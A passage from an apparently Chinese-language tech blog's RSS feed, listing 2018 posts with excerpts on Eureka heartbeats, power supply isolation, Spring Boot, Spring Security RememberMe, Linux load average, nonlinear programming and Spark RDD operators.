      <pubDate>Thu, 03 May 2018 16:15:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f960907e56e0327eb3e31e3024a7da8/</guid>
      <description>在前面的博客中，我们知道一个最简单的Eureka微服务架构，也要由3个项目组成，当项目增多的时候，Eureka是怎么维护服务的呢？如何确保其中一个服务实例不能使用了，将它排除出去呢？&#xA;由于整个演示过程还是Eureka的内容，我们首先从Spring Cloud服务管理框架Eureka简单示例(三)文章底部的源码链接拿到我们的示例代码。&#xA;客户端心跳推送与检测 Eureka分为服务器端和客户端，客户端每隔一段时间就会向服务器端发送一次讯息，向服务器说明自己还正常，让服务器端继续维护自己的服务，不要从服务列表里面把自己给剔除了。同时，设置一个让服务器端等待自己的时间，当自己的服务实例没有继续为服务器端发送心跳后，也就是从最后一次发送心跳开始计时，等待一段时间，依然没有收到讯息，服务器端就会把这个服务实例从服务列表里面移除，不再让流量涌入这个服务实例。&#xA;eureka.instance.lease-renewal-interval-in-seconds&#xA;表明客户端需要将心跳发送到服务器端，以表明它还活着。如果心跳停止的时间超过了服务器设置的等待时间，那么服务器端将会从它的服务列表中删除该实例，从而将流量排除在该实例之外。默认30s&#xA;eureka.instance.lease-expiration-duration-in-seconds&#xA;服务器端等待的时间，因为它收到了最后的心跳，然后才可以从它的视图中删除这个实例，并且不允许流量进入这个实例。将这个值设置得太长可能意味着，即使实例不存在，流量也可以被路由到实例。将这个值设置得太小可能意味着，由于临时网络故障，该实例可能会被排除在流量之外。这个值的设置至少要高于leaseRenewalIntervalInSeconds中指定的值。默认90s&#xA;我们通过修改这些配置，查看运行结果，去直观地理解这些配置。首先运行euraka-server项目com.init.springCloud包下面的ServerApp类main()方法，启动Eureka服务器端。然后，修改eureka-provider项目application.yml文件，把leaseRenewalIntervalInSeconds的时间改成5s，为了能够看到项目发送的心跳讯息，我们把Eureka的log日志打开，在控制台看输出结果。application.yml配置如下：&#xA;spring: application: name: eureka-provider eureka: instance: leaseRenewalIntervalInSeconds: 5 client: serviceUrl: defaultZone: http://localhost:8761/eureka/ logging: level: com.netflix: DEBUG 然后运行eureka-provider项目ProviderApp类的main()方法，项目启动成功之后，我们就能够在控制台看到打印出来的日志信息。我这里截取一段5s内的日志，为了方便观察，去掉了最前面的时间：&#xA;[{}-&amp;gt;http://localhost:8761] total kept alive: 1, total issued: 0, total allocated: 1 out of 200 Getting free connection [{}-&amp;gt;http://localhost:8761][null] Released connection is reusable. Releasing connection [{}-&amp;gt;http://localhost:8761][null] Pooling connection [{}-&amp;gt;http://localhost:8761][null]; keep alive indefinitely Notifying no-one, there are no waiting threads Jersey HTTP PUT http://localhost:8761/eureka//apps/EUREKA-PROVIDER/DESKTOP-E3UNJK3:eureka-provider; statusCode=200 DiscoveryClient_EUREKA-PROVIDER/DESKTOP-E3UNJK3:eureka-provider - Heartbeat status: 200 浏览器访问http://localhost:8761，在Eureka的控制台也能够看见注册到服务器端的项目。</description>
    </item>
    <item>
      <title>开关电源：选择隔离电源还是非隔离电源（转）</title>
      <link>https://bchobby.github.io/posts/755af54daa819c401a1a78d6184ea635/</link>
      <pubDate>Thu, 03 May 2018 16:11:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/755af54daa819c401a1a78d6184ea635/</guid>
      <description>一、电源隔离与非隔离的概念 电源的隔离与非隔离，主要是针对开关电源而言，业内比较通用的看法是： ①隔离电源：电源的输入回路和输出回路之间没有直接的电气连接，输入和输出之间是绝缘的高阻态，没有电流回路。&#xA;②非隔离电源：输入和输出之间有直接的电流回路，例如，输入和输出之间是共地的。&#xA;二、隔离电源与非隔离电源的优缺点&#xA;由上述概念可知，对于常用的电源拓扑而言，非隔离电源主要有：Buck、Boost、Buck-Boost等;而隔离电源主要有各种带隔离变压器的反激、正激、半桥、LLC等拓扑。&#xA;结合常用的隔离与非隔离电源，我们从直观上就可得出它们的一些优缺点，两者的优缺点几乎是相反的。&#xA;使用隔离或非隔离的电源，需了解实际项目对电源的需求是怎样的，但在此之前，可了解下隔离和非隔离电源的主要差别：&#xA;①隔离模块的可靠性高，但成本高，效率差点。&#xA;②非隔离模块的结构很简单，成本低，效率高，安全性能差。&#xA;因此，在如下几个场合，建议用隔离电源：&#xA;①涉及可能触电的场合，如从电网取电，转成低压直流的场合，需用隔离的AC-DC电源；&#xA;②串行通信总线通过RS-232、RS-485和控制器局域网(CAN)等物理网络传送数据，这些相互连接的系统每个都配备有自己的电源，而且各系统之间往往间隔较远，因此，我们通常需要隔离电源进行电气隔离来确保系统的物理安全，且通过隔离切断接地回路，来保护系统免受瞬态高电压冲击，同时减少信号失真；&#xA;③对外的I/O端口，为保证系统的可靠运行，也建议对I/O端口做电源隔离。&#xA;三、隔离与非隔离电源的应用场合&#xA;通过了解隔离与非隔离电源的优缺点可知，它们各有优势，对于一些常用的嵌入式供电选择，我们已可做成准确的判断：&#xA;①系统前级的电源，为提高抗干扰性能，保证可靠性，一般用隔离电源。&#xA;② 电路板内的IC或部分电路供电，从性价比和体积出发，优先选用非隔离的方案。&#xA;③ 对安全有要求的场合，如需接市电的AC-DC，或医疗用的电源，为保证人身的安全，必须用隔离电源，有些场合还必须用加强隔离的电源。&#xA;④ 对于远程工业通信的供电，为有效降低地电势差和导线耦合干扰的影响，一般用隔离电源为每个通信节点单独供电。&#xA;⑤ 对于采用电池供电，对续航力要求严苛的场合，采用非隔离供电。</description>
    </item>
    <item>
      <title>Java的compareTo() 方法</title>
      <link>https://bchobby.github.io/posts/ae86f003a00470916e81d6aed03abc95/</link>
      <pubDate>Thu, 03 May 2018 09:37:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae86f003a00470916e81d6aed03abc95/</guid>
      <description>compareTo() 方法用于将 Number 对象与方法的参数进行比较。用于两个相同数据类型的比较，两个不同类型的数据不能用此方法来比较。&#xA;如果指定的数与参数相等返回0&#xA;如果指定的数小于参数返回 -1&#xA;如果指定的数大于参数返回 1</description>
    </item>
    <item>
      <title>打造个人版微信小程序（1）——本地开发api接口调用</title>
      <link>https://bchobby.github.io/posts/eec42c81dd40874503957ac686e20e25/</link>
      <pubDate>Tue, 01 May 2018 22:13:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eec42c81dd40874503957ac686e20e25/</guid>
      <description>如果觉得这篇文章对您有所启发，欢迎关注我的公众号，我会尽可能积极和大家交流，谢谢。 从今天开始，开始打造一个个人版的微信小程序，尽早上线，方便大家使用以及技术讨论。这套小程序包括前台、后台、数据库等部分，估计需要花些时间了。 小程序开发在入门阶段直接参照官方的帮助文档即可，包括基本语法（和Vue.js大同小异）、开发工具（腾讯提供了一个小的开发工具）等，官方文档：微信小程序开发。 小程序开发自然而然分为前台后台，前台程序的入门参照官方文档，后台程序则需要自己搭建了。主要问题是微信小程序要求内部调用的API接口必须都是https的，并且最好是带域名，因此需要在搭建后台的时候费点功夫，整体后台基本流程如下： 1 选用API接口。想让产品能够吸引用户来用，首先得要求其有一些实实在在的功能，这就需要对应业务的API接口了。2 Springboot统一后台。整合用到的api业务接口，同时支撑一些自定义功能（如登录注册等）3 云服务器、域名、SSL证书：后台部署的媒介，同时负责将http接口转换为https接口4 Nginx反向代理：将域名和IP绑定，以https的形式提供给前端程序调用5 微信小程序：前端 1 API市场 1.1 API市场 有多少程序员在入门的时候都写过天气预报的demo?这就是一个最简单的数据API。目前在市面上有很多API接口可供大家调用，有付费的也有免费的，这里举两个例子：聚合数据、阿里云API市场。这两个市场的优缺点我并没有仔细研究。 这里以阿里云API市场中的天气预报API接口为例来做：天气预报API接口。&#xA;1.2 购买API 首先，需要先购买该API接口之后才能调用，即使是表明免费的接口也需要进行购买操作，否则无法进行调用。这里有很多便宜且实用的接口，如天气预报、快递查询、驾照查分、身份证识别等等，具体如何组合使用还是取决于我们对产品发展的设想： 以天气预报查询为例，我们在登录阿里云账号（支付宝可以直接登录）并购买对应API接口之后，在对应的控制台中可以查看到该接口的AppCode、AppKey、AppSecret，这些都是我们对该接口的调用凭证，在调用时是需要放到header中上传的： 1.3 测试API 在API购买完成之后，我们需要测试一下这个接口的可用性，我这里使用postman来测试一下，对应的调用方式在文档中已经都明确说明过了：天气预报API接口 调用地址见文档，调用方式为get请求，请求头中写入AppCode做身份认证，添加城市名称作为请求参数，测试如下： 具体身份认证方式见文档：Appcode简单认证&#xA;2 搭建Springboot 2.1 IDE 这里选用IntelliJ IDEA，IntelliJ IDEA是付费最好的java编辑器，eclipse是免费最好的java编辑器。为了方便springboot项目的新建和编写，这里推荐下载两个插件，即GsonFormat和Spring Assistant： 2.2 新建springboot项目 Spring Assistant能够方便快速的新建一个springboot项目：“file”-&amp;gt;“new”-&amp;gt;“project”-&amp;gt;“Spring Assistant”，按照提示一步步创建SpringBoot项目即可。有一点需要说明的就是，这里默认通过maven来构建项目以及依赖包的管理，IDEA默认是国外的maven仓库地址，第一次构建下载相应的jar包时会相当慢，需要转换到国内镜像来下载，具体如下：maven国内镜像地址； 在新建Springboot项目时，记得选中web的依赖，后续在使用网络请求的时候会用到这个依赖： 数据库的依赖这里先不要选，等用到的时候再添加即可，不然程序启动不起来。程序新建完成之后，找到对应的Application入口，右键debug它： 也可以通过“shift+alt+F9”快捷键来实现debug，控制台输出一下内容，说明程序启动正常： 2.3 集成swagger接口文档 Swagger是一种Rest API的 简单但强大的表示方式，这里应用知乎上的一篇文章作为介绍：swagger简介。接下来，我们要在新建的springboot项目中将swagger集成进来。 1、在项目的pom.xml文件中添加swagger相关依赖：&#xA;&amp;lt;!-- Swagger --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.springfox&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;springfox-swagger2&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.6.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.springfox&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;springfox-swagger-ui&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.6.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 每次修改pom文件时，系统在右下角有所提示，点击“import change”即可完成相关依赖包的添加。 2、在和Application同级的目录中，新建名为“Swagger2”的类： swagger2文件中的代码如下：&#xA;@Configuration @EnableSwagger2 public class Swagger2 { private String BASE_PACKAGE = Swagger2.</description>
    </item>
    <item>
      <title>SpringBoot启动banner更改</title>
      <link>https://bchobby.github.io/posts/72dc6872cfdceac9d2019ae6e97958d0/</link>
      <pubDate>Mon, 30 Apr 2018 21:20:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72dc6872cfdceac9d2019ae6e97958d0/</guid>
      <description>这篇文章的开始先给大家看一个图片&#xA;用过或者看过springboot的人都知道，这就是springboot启动的banner，这一篇介绍如何自定义springboot的启动bannner。&#xA;先介绍一个可以制作自定义banner的网站，传送门：http://patorjk.com/software/taag/#p=display&amp;amp;f=Graffiti&amp;amp;t=Type%20Something%20&#xA;黄框内输入自定义文字，红框内填写字体，本文使用banner&#xA;___ _ _ _ ____ _ _ _ _ _ ___ F __&#34;. /.\ FJ /.\ F __ ] FJ LJ /.\ F L L] ,&#34;___&#34;. J |--\ L //_\\ J | //_\\ J |--| L J \/ F //_\\ J \| L FJ---L] | | J | / ___ \ | | / ___ \ | | | | J\ /L / ___ \ | |\ | J | [&#34;</description>
    </item>
    <item>
      <title>提取PDF关键字并写入Excel</title>
      <link>https://bchobby.github.io/posts/f9e53bf3a5f1e1583c9119cf45d2612f/</link>
      <pubDate>Sun, 29 Apr 2018 19:20:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9e53bf3a5f1e1583c9119cf45d2612f/</guid>
      <description>作者博客地址：https://www.yooongchun.cn/&#xA;摘要：这篇文章介绍如何从PDF文件中提取关键字，然后写入到Excel中。首先程序把PDF解析为txt文件，然后程序从指定的Excel文件中加载关键字，再在txt中去寻找，最后将找到的关键字个数写入Excel&#xA;功能演示 需求描述：在我的keywordsExtractor 目录下有一些文件夹，文件夹内是pdf文件，我需要把这些pdf文件跟目标股票进行对比，如果该PDF属于目标股票，那么加载，否则不加载。然后把PDF中的一些特定关键词出现次数提取到Excel中，如下示例： 关键词从D列开始，任意添加。其中A1，B1，C1内容可以更改。&#xA;然后运行程序，得到的结果示例如下： 这里的年份是PDF所在文件夹的名称，你可以自己修改，股票代码是PDF文件名称的前6个字符。 实现过程&#xA;STEP 0: 加载需要的包&#xA;# -*- coding: UTF-8 -*- &#34;&#34;&#34; 1.加载一个指定路径文件夹内的所有pdf文内容 2.解析所有pdf内容并提取指定内容 3.把解析出来的指定内容写入Excel表格 &#34;&#34;&#34; ################# import xlwt # 写入文件 import xlrd # 打开excel文件 from xlutils.copy import copy import os import re import sys import importlib importlib.reload(sys) from pdfminer.pdfparser import PDFParser, PDFDocument from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.converter import PDFPageAggregator from pdfminer.layout import LTTextBoxHorizontal, LAParams from pdfminer.pdfinterp import PDFTextExtractionNotAllowed import logging logging.</description>
    </item>
    <item>
      <title>钟平程序员逻辑英语——回归理性——中英文对切基本公式（1-1）</title>
      <link>https://bchobby.github.io/posts/860dd755b6f81fc461c454e862244dfe/</link>
      <pubDate>Sat, 28 Apr 2018 00:21:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/860dd755b6f81fc461c454e862244dfe/</guid>
      <description>公式的运行和词汇语法重建&#xA;一个公式破解天下句子&#xA;我们将完成一个数据模型去重构句子体系，这是一个接近理科的思想，就是集合论的思想，从集合的角度我们发现两种语言之间本质上是排序不同，单词是对称的么，我们先假设你都认识单词了，语法也都懂了，先不管这些问题，先完成这个逻辑的重建，我们会发现中文和英文的单词是一样的，中文有书英文就有Book，他是一个对称体系，差别在于，外语的排列方式和中文是不一样的，我们中国各地的方言排序是一样的吧，都是一回事，没任何区别只是发音不同，那么排序是对构成语言的本质差别。比如日语的写法几乎和中文一样，但是他是外语，因为他的排序和中文不一样，虽然两种语言的排序是不同的但是每种语言有他固定的排序方式，为此我们做了一个思想体系，去完成两种语言的固定排序逻辑，把中文和英文这个排序过程把改造成这个f(x)=y，就是类似于这个函数过程，让它能通过这个模式去解决全部的问题，当然这个模式是怎么产生的呢，我们将跟大家解释这个模式是怎么产生的呢，我将跟大家解释这个公式的造型来历。&#xA;第一步：公式的推导和基础运行&#xA;( 状 1）主（定1 ）谓（状2 ）（宾）（定2 \状1）&#xA;上边这行是天下全部英文的陈述逻辑，为什么我们只看陈述逻辑呢，因为那些疑问感叹陈述倒装，我们在后边会专门讲到怎么处理它，因为中文是没有这些的，中文都是用陈述表达，我们在表达疑问感叹陈述倒装的时候，就加语气虚词，啊哦吗呢哈哈 就可以了，英文不一样，他需要有些变动么，比如把助词提前了， Is this a book 改一改了，为了简化这两种语言的体系呀，我们假设英文也没有，如果他有怎么办呢，就把他提前边去么。我们公式所展示的是天下所有的陈述逻辑，只有简化了句子逻辑你才会恍然大悟否则就会被句子的变化搞混乱了，只看陈述逻辑是因为英文有很多的变型，中文只有陈述，连个疑问句都没有，很多老外学外语纯属于上当受骗，中文是天下所有语言里看一眼觉得最好学的语言，时态没有，句型结构没有，分词没有，介词只有在，什么都没有，这就是中文最难之处什么都没有，只能靠自己琢磨，你能够买到英语，德语语法书，你一定难买到中文语法书。&#xA;( 状1\定1）主（状2）谓（定2）（宾）（状1）中文的公式&#xA;我 爱 你&#xA;去年 我 爱 你&#xA;去年 一个胖 丫头 非常热情的 爱上了 瘦瘦的 你&#xA;问题一，我们必须要了解这个公式，并没有包含入另外一个东西，就是在任何一句话当中，不论是中文还是英文，都有可能会出现由，；——，加的一串东西+（），这个叫做插入语，为什么我们没有在公式当中把插入语体现出来呢，因为我们知道不论是英文还是中文，这都可以有的，因为它插哪都行，从逻辑上来说，它和原句是没有关系的是独立存在的，如果我们要翻译它就单独翻译就可以了，比如说“这个女孩很漂亮！”This girl is beautiful！这个女孩This girl插入语逗号，in my opinion逗号，is beautiful！in myopinion这种句子他跟原句是没有关系的，中文也一样“在我看来”也是可有可无的，既然如此我们在公式当中并没有去体现它。&#xA;问题二，宾语也可以没有，比如She died.她死掉了。没有宾语吧，主语是一定不能没有的比如说祈使句，Come here baby.来呀宝贝。Come here 来呀。这个不是没有主语它是把它省掉了，它是You come here。只不过是你被省掉了而已，主语不能没有他只是被省略了，被省略不等于没有，宾语连省略的机会都没有。&#xA;( 状1）主（定1 ）谓（状2 ）（宾）（定2 \状1）&#xA;( 状1\定1）主（状2）谓（定2）（宾）（状1)&#xA;通过公式我们能看得出来，中文和英文的主干是一致的，状语1就是在句首的状语，在昨天，时间状语，在我心里，地点状语，因为这个原因，原因状语，它意思可能会不一样，它的位置很固定，就是放到句首或者是句尾，那么你看我们的公式句首和句尾有没有区别呢，其实就是个习惯而已，I get up in the morning.In the moring I get up就是一回事。中文放在前边会多一点，也会出现放在后边的可能性，比如：我走了，因为你不爱我。因为你不爱我，所以我要走了是一回事，只是看为了强调谁而已，所以你要了解他是怎么形成这个逻辑的，去年last year（状）我I（主）买brought（谓）一块表a watch（宾）。</description>
    </item>
    <item>
      <title>Spring Security实现RememberMe功能以及原理探究</title>
      <link>https://bchobby.github.io/posts/0a391936a3c33f65f07ff087bf4d6382/</link>
      <pubDate>Fri, 27 Apr 2018 23:00:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a391936a3c33f65f07ff087bf4d6382/</guid>
      <description>在大多数网站中，都会实现RememberMe这个功能，方便用户在下一次登录时直接登录，避免再次输入用户名以及密码去登录，下面，主要讲解如何使用Spring Security实现记住我这个功能以及深入源码探究它的原理。&#xA;首先，如下图所示为Spring Security实现RememberMe功能的原理图： 首先你进入登录页面，输入用户名以及密码进行登录，通过前几篇文章我们知道了Spring Security首先会进入UsernamePasswordAuthenticationFilter进行验证，如果认证成功它会调用一个叫RememberMeService的类，这个类会调用TokenRepository这个类，而这个类会将一个生成的Token写入数据库中。当你下次再进入该网站的时候，它会直接进入RemeberMeAuthticationFilter这个过滤器中，通过Cookie读取之前的Token，然后拿着这个Token通过RememberService到数据库中查找用户信息，如果存在该Token，则取出该Token对应的用户名以及其他信息放入UserDetailService，然后进入调用的URL。&#xA;下面，先来看看如何实现这一功能，最后会通过源码来查看它的实现原理。 Spring Security实现RememberMe功能比较简单。首先定义在配置类中定义一个Repository类进行数据库的读写。实现一个UserServiceDetail类，然后进行相关配置即可。&#xA;package cn.shinelon.security.browser; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.tomcat.jdbc.pool.DataSource; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; import org.springframework.security.core.AuthenticationException; import org.springframework.security.core.userdetails.UserDetailsService; import org.springframework.security.crypto.password.PasswordEncoder; import org.springframework.security.crypto.scrypt.SCryptPasswordEncoder; import org.springframework.security.web.authentication.AuthenticationFailureHandler; import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter; import org.springframework.security.web.authentication.rememberme.JdbcTokenRepositoryImpl; import org.springframework.security.web.authentication.rememberme.PersistentTokenRepository; import cn.shinelon.security.authenticate.ImoocAuthenctiationFailureHandler; import cn.shinelon.security.authenticate.ImoocAuthenticationSuccessHandler; import cn.shinelon.security.core.SecurityProperties; import cn.shinelon.security.core.validate.code.ValidateCodeFilter; @Configuration public class BrowserSecurityConfig extends WebSecurityConfigurerAdapter{ @Bean public PasswordEncoder passwordEncoder() { return new SCryptPasswordEncoder(); } @Autowired private DataSource dataSource; //记住我后的登录页面 @Autowired private UserDetailsService userDetailsService; //记住我的功能 @Bean public PersistentTokenRepository getPersistentTokenRepository() { JdbcTokenRepositoryImpl jdbcTokenRepositoryImpl=new JdbcTokenRepositoryImpl(); jdbcTokenRepositoryImpl.</description>
    </item>
    <item>
      <title>CPU核数和load average的关系</title>
      <link>https://bchobby.github.io/posts/5a3a9f2e8249781ca00359b947218fce/</link>
      <pubDate>Fri, 27 Apr 2018 18:12:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a3a9f2e8249781ca00359b947218fce/</guid>
      <description>作者新建了QQ群：460430320，供大家交流测试心得（培训机构勿进）。另外，还会不定期上传测试资料，也欢迎您共享测试资料。&#xA;在前面的文章《Linux系统监控——top命令》中我简单提到了，判断load average的数值到底大不大的判断依据，就是数值除以CPU核数，大于5，就说明超负荷运转了。——这里其实不太严谨&#xA;今天这篇文章来仔细分析分析，CPU和load average的关系。&#xA;转载文章一 我们知道判断一个系统的负载可以使用top，uptime等命令去查看，它分别记录了一分钟、五分钟、以及十五分钟的系统平均负载&#xA;例如我的某台服务器：&#xA;你可能对于 Linux 的负载均值（load averages）已有了充分的了解。负载均值在 uptime 或者 top 命令中可以看到，它们可能会显示成这个样子：&#xA;load average: 1.84, 1.34, 0.68&#xA;很多人会这样理解负载均值：三个数分别代表不同时间段的系统平均负载（一分钟、五 分钟、以及十五分钟），它们的数字当然是越小越好。数字越高，说明服务器的负载越大，这也可能是服务器出现某种问题的信号。&#xA;而事实不完全如此，是什么因素构成了负载均值的大小，以及如何区分它们目前的状况是 “好”还是“糟糕”？什么时候应该注意哪些不正常的数值？&#xA;回答这些问题之前，首先需要了解下这些数值背后的些知识。我们先用最简单的例子说明， 一台只配备一块单核处理器的服务器。&#xA;行车过桥&#xA;一只单核的处理器可以形象得比喻成一条单车道。设想下，你现在需要收取这条道路的过桥费 — 忙于处理那些将要过桥的车辆。你首先当然需要了解些信息，例如车辆的载重、以及 还有多少车辆正在等待过桥。如果前面没有车辆在等待，那么你可以告诉后面的司机通过。 如果车辆众多，那么需要告知他们可能需要稍等一会。&#xA;因此，需要些特定的代号表示目前的车流情况，例如：&#xA;0.00 表示目前桥面上没有任何的车流。 实际上这种情况与 0.00 和 1.00 之间是相同的，总而言之很通畅，过往的车辆可以丝毫不用等待的通过。&#xA;1.00 表示刚好是在这座桥的承受范围内。 这种情况不算糟糕，只是车流会有些堵，不过这种情况可能会造成交通越来越慢。&#xA;超过 1.00，那么说明这座桥已经超出负荷，交通严重的拥堵。 那么情况有多糟糕？ 例如 2.00 的情况说明车流已经超出了桥所能承受的一倍，那么将有多余过桥一倍的车辆正在焦急的等待。3.00 的话情况就更不妙了，说明这座桥基本上已经快承受不了，还有超出桥负载两倍多的车辆正在等待。&#xA;上面的情况和处理器的负载情况非常相似。一辆汽车的过桥时间就好比是处理器处理某线程 的实际时间。Unix 系统定义的进程运行时长为所有处理器内核的处理时间加上线程 在队列中等待的时间。&#xA;和收过桥费的管理员一样，你当然希望你的汽车（操作）不会被焦急的等待。所以，理想状态 下，都希望负载平均值小于 1.00 。当然不排除部分峰值会超过 1.00，但长此以往保持这 个状态，就说明会有问题，这时候你应该会很焦急。&#xA;假设当前服务器只有一个CPU，那么上面的&#34;load average&#34;就告诉我们在最近一分钟内，平均有0.14个进程在等待CPU；最近五分钟内，CPU有30%的idle时间；而最近15分钟，平均有3.06个进程在等待CPU。而当服务器有4个CPU的时候，则是另外一番景象。&#xA;“所以你说的理想负荷为 1.00 ？”&#xA;嗯，这种情况其实并不完全正确。负荷 1.00 说明系统已经没有剩余的资源了。在实际情况中 ，有经验的系统管理员都会将这条线划在 0.</description>
    </item>
    <item>
      <title>到底什么是非线性规划？</title>
      <link>https://bchobby.github.io/posts/5e89bde415616832fdc289d2dd28286e/</link>
      <pubDate>Fri, 27 Apr 2018 17:23:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e89bde415616832fdc289d2dd28286e/</guid>
      <description>本文转自新浪博客《到底什么是非线性优化？》作者：那些年的那些偏执 网址：http://blog.sina.com.cn/s/blog_7445c2940102x3x4.html 作者系在读博士生。文章写的非常浅显易懂。本文除转载之外，做简单修改整理，重新编辑公式，并加入个人注释。&#xA;你是否也对非线性规划这个领域望而却步？​​​ 你是否也在思索非线性规划求解方法的根源？​​​ 你是否也苦恼于非线性规划到底在研究什么？ 如果你的回答是肯定的，说明我们是一样的。那么，让我们从这里开始，一起尝试去移走上面的三座大山。​&#xA;到底什么是非线性规划？​ 其实，在上高中的时候我们就已经对非线性规划的求解方法了然于心了。可见，非线性优化并不是我们想的那么困难，只不过在后来由于学习了大量的新知识，而迷失其中。你可能不相信，那么让我们一同回到高中的数学课上。数学老师给了如下的问题：​​ y=x2+2x+1 y = x 2 + 2 x + 1 的最小值是什么？&#xA;如何找到上面这个函数的最小值？相信你很快的就能想起上面这个问题的解法，并且求出上面这个函数的极值。而至此，我们已经解决了一个非线性规划的问题。​为什么这么说呢？请看下面的公式： minxf(x) min x f ( x ) 当这个公式中的 f(x) f ( x ) 是一个非线性函数的时候，上面的问题就是一个非线性规划的问题。​也就是说，非线性优化问题是针对一个非线性函数求最值的问题。那么，再让我们回过头看一看数学老师出的问题，这不就是一个非线性优化问题吗？​而且，求解方法也很简单，就是对函数求导，再令导数为零，我们就找到了极值点。可见，非线性优化并不是一个高不可攀的山峰。​&#xA;对于有约束条件的问题，如果约束条件是非线性的，那么这个问题也属于非线性规划问题范畴。&#xA;那么，我们是否可以对所有的非线性优化问题，都可以用上面的解法呢？很遗憾，对于很多情况，通过导数为零求解析的求出极值点，是做不到的。如下式：​​ f(x,y)=x3+y⋅ex+y2+xy+4 f ( x , y ) = x 3 + y ⋅ e x + y 2 + x y + 4 我们对 x,y x , y 分别求偏导，得到：​​ ∂∂xf(x,y)=3x2+y⋅ex+y∂∂yf(x,y)=2y+ex+x ∂ ∂ x f ( x , y ) = 3 x 2 + y ⋅ e x + y ∂ ∂ y f ( x , y ) = 2 y + e x + x 我们很难直接的从上面的式子中，求出导数为 0 0 的点。一方面，是因为该函数已经不是初等函数。另一方面，是因为增加了未知数（变量）的个数。为了解决这个难题，我们重新回到数学老师给的问题，如下：​</description>
    </item>
    <item>
      <title>注册中心 Eureka 源码解析 —— 应用实例注册发现 （二）之续租</title>
      <link>https://bchobby.github.io/posts/3eeb70b66c4a4617b2c02ad1093f3e27/</link>
      <pubDate>Fri, 27 Apr 2018 00:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3eeb70b66c4a4617b2c02ad1093f3e27/</guid>
      <description>点击上方“芋道源码”，选择“置顶公众号”&#xA;技术文章第一时间送达！&#xA;源码精品专栏&#xA;中文详细注释的开源项目&#xA;Java 并发源码合集&#xA;RocketMQ 源码合集&#xA;Sharding-JDBC 源码解析合集&#xA;Spring MVC 和 Security 源码合集&#xA;MyCAT 源码解析合集&#xA;本文主要基于 Eureka 1.8.X 版本&#xA;1. 概述&#xA;2. Eureka-Client 发起续租&#xA;2.1 初始化定时任务&#xA;2.2 HeartbeatThread&#xA;2.3 TimedSupervisorTask&#xA;3. Eureka-Server 接收续租&#xA;3.1 接收续租请求&#xA;3.2 续租应用实例信息&#xA;666. 彩蛋&#xA;1. 概述 本文主要分享 Eureka-Client 向 Eureka-Server 续租应用实例的过程。&#xA;FROM 《深度剖析服务发现组件Netflix Eureka》 二次编辑 蓝框部分，为本文重点。&#xA;非蓝框部分，Eureka-Server 集群间复制注册的应用实例信息，不在本文内容范畴。&#xA;推荐 Spring Cloud 书籍：&#xA;请支持正版。下载盗版，等于主动编写低级 BUG 。&#xA;程序猿DD —— 《Spring Cloud微服务实战》&#xA;周立 —— 《Spring Cloud与Docker微服务架构实战》</description>
    </item>
    <item>
      <title>RDD中的一些常用的算子操作</title>
      <link>https://bchobby.github.io/posts/74c97ca99ea7a5df11ced3959ca8b5df/</link>
      <pubDate>Thu, 26 Apr 2018 16:05:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74c97ca99ea7a5df11ced3959ca8b5df/</guid>
      <description>1 算子分类 RDD的算子分类可以分为2种，Transformation和Action类 。&#xA;Transformation：根据数据集创建一个新的数据集，计算后返回一个新RDD；例如：Map将数据的每个元素经过某个函数计算后，返回一个新的分布式数据集。&#xA;Action：对数据集计算后返回一个数值value给驱动程序；例如：collect将数据集的所有元素收集完成返回给程序。&#xA;2 Transformation的特点 RDD中的所有转换都是延迟加载的，也就是说，它们并不会直接计算结果。相反的，它们只是记住这些应用到基础数据集（例如一个文件）上的转换动作。只有当发生一个要求返回结果给Driver的动作时，这些转换才会真正运行，即，遇到action才进行计算，否则不计算。这种设计让Spark更加有效率地运行。&#xA;这里大家可以思考一个问题，为什么采用这种方式就可以更高效呢？&#xA;（ persist (or cache) method 会在后面进行讲解）&#xA;3 进一步了解Transformation和Action 下面举一个例子更好的了解Transformation和Action，以及lazy的含义：&#xA;首先进行一个Transformation操作产生一个RDD 查看UI界面 scala&amp;gt; val a=sc.parallelize(1 to 9) a: org.apache.spark.rdd.RDD[Int] = ParallelCollectionRDD[0] at parallelize at &amp;lt;console&amp;gt;:24 再进行一次map又会产生一个新的RDD ，这时候再次查看UI界面把并没有变化 scala&amp;gt; val b=a.map(x =&amp;gt;x*2) b: org.apache.spark.rdd.RDD[Int] = MapPartitionsRDD[1] at map at &amp;lt;console&amp;gt;:26 进行一个action操作 查看UI看看有什么变化呢？ scala&amp;gt; b.collect Array[Int] = Array(2, 4, 6, 8, 10, 12, 14, 16, 18) 4常用的算子操作 map 、filter、 collect算子&#xA;有一定基础的情况下建议大家使用链式编程 scala&amp;gt; val a = sc.</description>
    </item>
    <item>
      <title>判断两个区间相交</title>
      <link>https://bchobby.github.io/posts/2042819802aebff664590de1b98d8620/</link>
      <pubDate>Wed, 25 Apr 2018 15:52:02 +0800</pubDate>
